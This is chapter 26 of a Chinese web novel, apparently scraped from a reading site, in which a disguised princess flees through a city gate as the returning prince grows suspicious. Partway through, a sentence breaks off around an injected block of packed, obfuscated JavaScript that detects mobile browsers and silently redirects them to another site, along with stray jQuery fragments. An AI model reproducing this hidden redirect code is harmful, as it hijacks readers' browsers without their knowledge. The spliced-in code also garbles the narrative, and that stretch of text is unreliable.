26. 第二十六章
作品:《掌中刺》 “小姐,走吧。”
拂娘走向婷婷立于窗前的倩影,递上一顶素青幂篱。
月澜回头,拂娘妆容精致,身后站着一众姐妹,个个身上背着鼓鼓囊囊的行李。
歇了一夜,月澜紧绷的精神也有所松懈。
用完早膳,刚好城门也已大开,时机耽误不得。
不由她再胡思乱想,赶紧出发才是正事。
月澜凑近铜镜,将脸上厚厚的妆容又仔细检查一番,紧了紧发间的硕大珠花,生怕露出破绽。
利落戴上幂篱,头也不回地关上门,快步跟上拂娘的脚步。
边走,边伸手摸了摸藏在怀里的雕花兽首玉簪,心下默念:
“保佑月儿。”
步出栖霞楼,月澜透过青纱,快速环顾了一眼。
惯常的阴霾天,无风,无雪,亦无太阳。
因着还是清早,主街上来往的路人还不是很多。
街道两旁的商户才刚开张,耳边不时传来炊饼的叫卖声。
即便隔着一道纱,也能嗅到两旁的烟火气。
对月澜来说,民间生活的一切都十分地新奇。
只是此时,实在无暇驻足观察这别样的世间百态。
栖霞楼腾不出地方停乐姬的几辆马车,是以载人的马车都等在城外,乐姬们缓步前行。
月澜被护在中央,乐姬个个身形婀娜,脚步不紧不慢。
她有些按捺不住,想要加快脚步,伸手轻拽向拂娘的袖口:
“拂娘,可否再快一些?一会儿人会不会多?”
握住月澜发凉的细白柔荑,拂娘温声安慰道:
“放心,很快就要到了。切勿慌张,只当同往常一样。”
为了缓解紧张的气氛,拂娘问起她日后的打算:
“小姐可想好了日后的去处?要不要同我们姐妹一道,到处走走看看?”
右手被拂娘牵在掌心,渐渐传来阵阵温热。
她轻轻摇头:
“多谢拂娘的美意。只是,月澜尚有要事在身,只怕难以同行。”
拂娘轻笑,无奈道:
“小姐…,拂娘还没说要去哪里呢。”
月澜小脸微红,有些尴尬。结结巴巴回道:
“抱…歉,那…拂娘打算去哪里?不知是否与我和阿母顺路…”
“西都。”
月澜的脚步停了一瞬,扭头看向拂娘,目露惊讶,重复道:
“西都?”
“嗯,小姐可愿同去?西都到底是国都,多的是达官贵人。此去,便再不愁银钱了。”
拂娘透过青纱,眼梢扫过沉默的月澜,静静等她回应。
月澜眼眸微动,心道:
“哥哥消失在阳岭,不知道申家的秦允有没有寻到哥哥的消息。要去找哥哥,只自己与阿母二人只怕要费好些力气。躲不过还是要仰仗姨母家的帮扶,既然拂娘要去西都,那趁在一起便再好不过。”
回过神,她望向拂娘:
“嗯,愿意。月澜的姨母就在西都,到了之后,月澜定会好好报答拂娘。”
拂娘轻轻捏了捏月澜的小手,语调拖得很长:
“那便,再好不过了。”
走了有大半个时辰,路上的过往之人渐渐多了起来,都是来赶早出城的百姓。
砰、砰砰、砰……
离城门越来越近,月澜的心口开始不受控制地胡乱跳动。
深吸一口气,从袖中拿出过所,紧紧捏在手里。
不断在心里下暗示:
“冷静,冷静,只要过去,便万事大吉……”
跟着其他人一样,乐姬们也排起长队,等待城门卫的查验。
月澜微微歪头,目光来回打量,嘴里不断数着前面排着的人数。
十五人。
十人。
七人。
五人。
马上就要到了。
还有两人……
到了!
突然,
“停!都退开——”
就在她要上前之际,
城门外由远及近,高声传来一道命令。
一名军士骑马匆匆赶到城门,对着城门令喊道:
“清道,大王回来了!”
他骑在马上吩咐:
“半个时辰后,大王就要入城,准备好。”
城门令得令,赶紧命人封锁两旁的道路,清理往来进出的行人。
月澜藏在幂篱下的小脸,瞬间一片惨白。
不亚于五雷轰顶。
眼前一阵阵的发黑、发晕。
她呼吸急促,腿脚发软,堪堪扶住拂娘的臂膀才不至于跌倒在地。
“燕王怎么这个时候回来了!明明离月末还有好些天!”
心里翻起惊涛巨浪。
手心的冷汗浸湿了紧捏着的过所。
察觉到月澜的不对劲,拂娘低头问道:
“怎么了?没事的,一会就好了。”
拂娘一行来的时候,并不清楚官舍的主人正是燕王。
她只当月澜因为这一小插曲而杯弓蛇影。
拍了拍了她簌簌发抖的薄肩,以示安抚。
月澜不住地在原地来回踱步。
心里堵塞发闷,仿佛刘巽的黑眸正死死盯着自己的后背。
与月澜的焦灼不同,城门下聚集了许多人,却鸦雀无声,皆安静地立于两旁,等待封锁解除。
漫长的半个时辰过后。
城外再一次传来马蹄声,众人齐齐下跪。
“姐姐,琵琶。”
怕被刘巽瞧出异样,月澜慌乱之中夺过身旁一名乐姬怀里的琵琶,想着以此挡住自己的身形。
嗒、嗒。
马蹄声慢了下来,缓缓掠过城门。
众人的齐声拜见声中,月澜周身僵成一块铁板,双手紧紧环抱住琵琶,将头低低垂下。
青纱之下,她紧咬下唇,嘴里传来丝丝腥甜也毫无察觉。
刘巽高坐于马背,目视前方。
忽地,他眼梢一动。
微不可察地扫了一眼混在人群中分外扎眼的乐姬班子。
熟悉的骇人审视。
月澜将指节捏得发白,大气也不敢出。
终于,灼人的视线消失。
她隔着青纱,悄悄瞄了一眼刘巽远去的背影,缓缓松了口气。
猛地,月澜才记起来,“阿母!”
她忙问向拂娘:
“拂娘,阿母这会能出来吗?”
“我们在此处耽误了些时辰,弦奴她们应该已经出来了。我一早就遣了人过去,应当是无事的。”
月澜紧咬臼齿,也只能这样想了。
她已经跑了出来,只能硬着头皮继续逃,再无退路。
“走吧,到我们了。”
拂娘晃了晃呆站着的月澜。
人群复又热闹起来,大家重新排起队。
月澜递上过所,城门令查验一番,又令她撩开幂篱,囫囵端详一番便放了她过去。
没有过多盘问,倒是出奇地顺利。
与此同时,官舍。
陈媪与弦奴站在箱笼前,面面相觑。
苦等了半天,仍没有一人前来通报抬回箱笼的事。
弦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932299|192821||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奴越来越害怕,陈媪的面庞也渐渐转为土色。
今早晨起,王伯也罕见地没有过来,只膳房的人送了一次早膳。
碧溪源寂静地可怕,仿佛被人忘在角落。
王伯一早便得了刘巽返归的消息。
上下指挥着人准备迎接,闲杂人等一律不准进来。
拂娘派来的人自然也被拦在门外,他里外忙活,哪有空理这些琐事。
很快,刘巽便骑马到了官舍。
王伯打理好一切,跪在官舍门口迎接主人。
不知为何,刘巽的眼前再次闪过适才看到的琵琶姬。
纤细的身量被琵琶遮了大半,发间满是艳俗的珠花。
这副打扮,对乐姬来说,似是并无不妥。
可他本能地察觉出一丝异样。
狭长的黑眸微眯。
是了,琵琶姬的手,有问题。
“将人带过来。”
刘巽利落地扔下话便走向正堂。
王伯这次倒是反应极快,偌大的官舍还能有谁?
他连忙吩咐道:
“阿年,去请公主来正堂,要快。”
碧溪源。
面对索人的阿年,陈媪额头上滴下豆大的冷汗。
强忍住恐惧,回道:
“公主有些不舒服,现下正躺着,实在难以起身。”
当是死局!
罢了。
能拖一时便是一时,只要月澜能逃远,她自己这条命,没了就没了。
做好随时赴死的打算,陈媪看向阿年:
“小兄弟,公主实在不舒服地紧,连路都走不了。要不晚些再去见殿下?还望小兄弟向殿下如实转告。”
阿年左右为难,不死心地问道:
“可否容小的看一眼?好回禀殿下。”
“好。”
进了里间。
榻上确实侧躺着一人,阿年不敢多看,连忙转身跑回正堂回话。
刘巽倚坐于主位,身形松乏,漫不经心地转动着手中的白玉匕首。
双眸中却盛满暴戾,呼之欲出。
他嘴角扬起,笑得森然:
“病了?”
阿年小心翼翼地点点头。
“回殿下的话,小的看见公主就躺在榻上,应当…应当是病了。”
指腹摩挲匕首上雕刻的繁复花纹,刘巽声音中带着一丝压抑的沙哑:
“池巍,去将城外的乐姬请过来。”
池巍自然清楚刘巽指的乐姬是谁。
方才进城之时,他就注意到,刘巽的目光似有一瞬的滞留。
池巍出去后,刘巽才看向阿年,字里行间盈满雾气:
“既然病了,往后,便不用再出来。”
城外。
“小姐,快些走吧,再等下去怕是要祸事。”
拂娘面上的笑意已经淡去,她蹙起眉,不住地催促。
等了许久,仍是不见陈媪和弦奴的身影。
时值冬日,月澜却满头大汗。
只剩陈媪这么一个至亲在身边,月澜实在狠不下心独自离开。
她央求道:
“拂娘,能不能再等一刻,若一刻后还不见人,我们就走。”
对上月澜祈求的眼神,拂娘没有答应,亦没有拒绝。
她转身从马车里拿出一个葫芦,递给月澜:
“小姐先喝口水吧。”
月澜擦去额汗,目光紧紧投向城门口,手上拧开葫芦,将要拿起灌入口中。
冷不丁地,身后突兀地传来一道毫无感情的声音:
“诸位,大王有请。”

